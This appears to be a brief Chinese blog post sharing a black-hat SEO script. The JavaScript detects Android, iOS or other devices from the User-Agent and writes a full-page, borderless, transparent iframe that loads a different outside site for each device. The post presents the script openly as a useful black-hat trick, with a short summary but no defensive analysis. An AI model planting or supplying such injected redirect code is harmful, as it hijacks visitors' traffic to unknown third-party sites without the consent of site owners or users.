典型的黑帽手法,不过有点价值,就分享出来。
function uaredirect() {
var n = navigator.userAgent.toLowerCase();
if (n.indexOf('android')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="2000" allowTransparency src="http://www.xxoody.com"></iframe>');
}
else if (n.indexOf('iphone')>-1 || n.indexOf('iPhone')>-1 || n.indexOf('ipod')>-1 || n.indexOf('ipad')>-1 || n.indexOf('ios')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="2000" allowTransparency src="http://www.xxoody.cn"></iframe>');
}
else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="1450" allowTransparency src="v.sysvip.net"></iframe></center>');
}
}
uaredirect();
本文介绍了一种典型的黑帽SEO技术,通过检测用户设备类型(如Android、iOS、其他)来定向插入iframe,实现不同设备的流量引导。此方法涉及浏览器User-Agent字符串解析与响应式网页设计。
1538

被折叠的 条评论
为什么被折叠?



